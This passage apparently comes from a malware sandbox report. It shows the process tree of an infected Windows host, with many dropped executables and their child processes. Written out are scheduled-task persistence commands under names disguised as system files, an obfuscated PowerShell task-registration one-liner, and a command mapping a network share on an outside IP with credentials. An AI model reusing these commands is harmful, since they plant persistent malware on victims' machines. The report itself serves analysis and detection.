        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11248
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11256
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:4636
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10512
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:4772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10924
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11076
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5924
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8676
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8460
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11132
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11204
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11216
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11220
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10416
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11128
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8280
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11136
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11276
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11316
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11348
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11364
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11380
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11404
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11448
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11456
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11468
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11480
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11488
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11496
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11508
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11520
    - - C:\Users\Admin\AppData\Local\Temp\1005824001\b25fd1460a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005824001\b25fd1460a.exe"
        5⤵
        
        PID:7712
    - - C:\Users\Admin\AppData\Local\Temp\1005956001\d1a9596e30.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005956001\d1a9596e30.exe"
        5⤵
        
        PID:8780
    - - C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe"
        5⤵
        
        PID:9528
- - C:\Users\Admin\AppData\Local\Temp\Files\built.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\built.exe"
    3⤵
    PID:4772
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\built.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5860
  - - C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe
      "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe"
      4⤵
      PID:5408
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6188
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5MxdhAvgyGAs.bat" "
        5⤵
        
        PID:6520
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:6640
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6760
      - C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe
        
        "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe"
        6⤵
        
        PID:8012
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\htrci0eyEzly.bat" "
        7⤵
        
        PID:8240
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:8608
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8460
        
        C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe
        
        "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe"
        8⤵
        
        PID:11152
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe" /rl HIGHEST /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11340
- - C:\Users\Admin\AppData\Local\Temp\Files\js.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\js.exe"
    3⤵
    PID:3312
- - C:\Users\Admin\AppData\Local\Temp\Files\SemiconductorNot.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\SemiconductorNot.exe"
    3⤵
    PID:3200
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Continues Continues.cmd & Continues.cmd & exit
      4⤵
      PID:4560
- - C:\Users\Admin\AppData\Local\Temp\Files\prem1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\prem1.exe"
    3⤵
    PID:5204
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:5272
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5204 -s 300
      4⤵
      Program crash
      PID:1288
- - C:\Users\Admin\AppData\Local\Temp\Files\ev.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ev.exe"
    3⤵
    PID:5956
- - C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe"
    3⤵
    PID:644
  - - C:\Windows\SysWOW64\clip.exe
      "C:\Windows\SysWOW64\clip.exe"
      4⤵
      PID:5216
    - - C:\Users\Admin\AppData\Roaming\System32\taskhost.exe
        
        "C:\Users\Admin\AppData\Roaming\System32\taskhost.exe"
        5⤵
        
        PID:6328
- - C:\Users\Admin\AppData\Local\Temp\Files\IT_plan_cifs.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\IT_plan_cifs.exe"
    3⤵
    PID:6436
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D28B.tmp\D28C.tmp\D28D.bat C:\Users\Admin\AppData\Local\Temp\Files\IT_plan_cifs.exe"
      4⤵
      PID:6596
    - - C:\Windows\system32\net.exe
        
        net use /delete * /y
        5⤵
        Indicator Removal: Network Share Connection Removal
        
        PID:6624
    - - C:\Windows\system32\net.exe
        
        net use D: \\210.216.165.152\super_share smbtest@@ /user:smbtest /persistent:yes
        5⤵
        
        PID:6660
- - C:\Users\Admin\AppData\Local\Temp\Files\tt.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tt.exe"
    3⤵
    PID:6504
  - - C:\Windows\sysmablsvr.exe
      C:\Windows\sysmablsvr.exe
      4⤵
      PID:6680
    - - C:\Users\Admin\AppData\Local\Temp\3027522573.exe
        
        C:\Users\Admin\AppData\Local\Temp\3027522573.exe
        5⤵
        
        PID:7512
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:7384
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:8324
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:2892
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:8420
    - - C:\Users\Admin\AppData\Local\Temp\2344116952.exe
        
        C:\Users\Admin\AppData\Local\Temp\2344116952.exe
        5⤵
        
        PID:9232
    - - C:\Users\Admin\AppData\Local\Temp\2206511024.exe
        
        C:\Users\Admin\AppData\Local\Temp\2206511024.exe
        5⤵
        
        PID:11052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd0d13cc40,0x7ffd0d13cc4c,0x7ffd0d13cc58
    3⤵
    PID:1872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1828,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1824 /prefetch:2
    3⤵
    PID:4688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2096,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2116 /prefetch:3
    3⤵
    PID:3744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2216,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1640 /prefetch:8
    3⤵
    PID:3092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3120 /prefetch:1
    3⤵
    PID:2284
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3108,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3176 /prefetch:1
    3⤵
    PID:1156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4404,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4392 /prefetch:1
    3⤵
    PID:652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4704,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4716 /prefetch:8
    3⤵
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4788,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4756 /prefetch:8
    3⤵
    PID:4460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4748,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5032 /prefetch:8
    3⤵
    PID:4236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4932,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5024 /prefetch:8
    3⤵
    PID:4128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4744,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4612 /prefetch:8
    3⤵
    PID:4708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4724,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4596 /prefetch:8
    3⤵
    PID:4636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5012,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4996 /prefetch:2
    3⤵
    PID:2532
- C:\Users\Admin\AppData\Local\Temp\217412\Possibly.pif
  C:\Users\Admin\AppData\Local\Temp\217412\Possibly.pif
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3196
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4776
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:3928
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4412

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 380 -ip 380
1⤵
PID:1036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1068 -ip 1068
1⤵
PID:4680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4272 -ip 4272
1⤵
PID:1240

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1844

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Common Files\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AsyncClientA" /sc MINUTE /mo 14 /tr "'C:\Program Files\Google\Chrome\AsyncClient.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AsyncClient" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\AsyncClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AsyncClientA" /sc MINUTE /mo 10 /tr "'C:\Program Files\Google\Chrome\AsyncClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3896

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Downloads\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Default\Downloads\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Downloads\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1168

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /f
1⤵
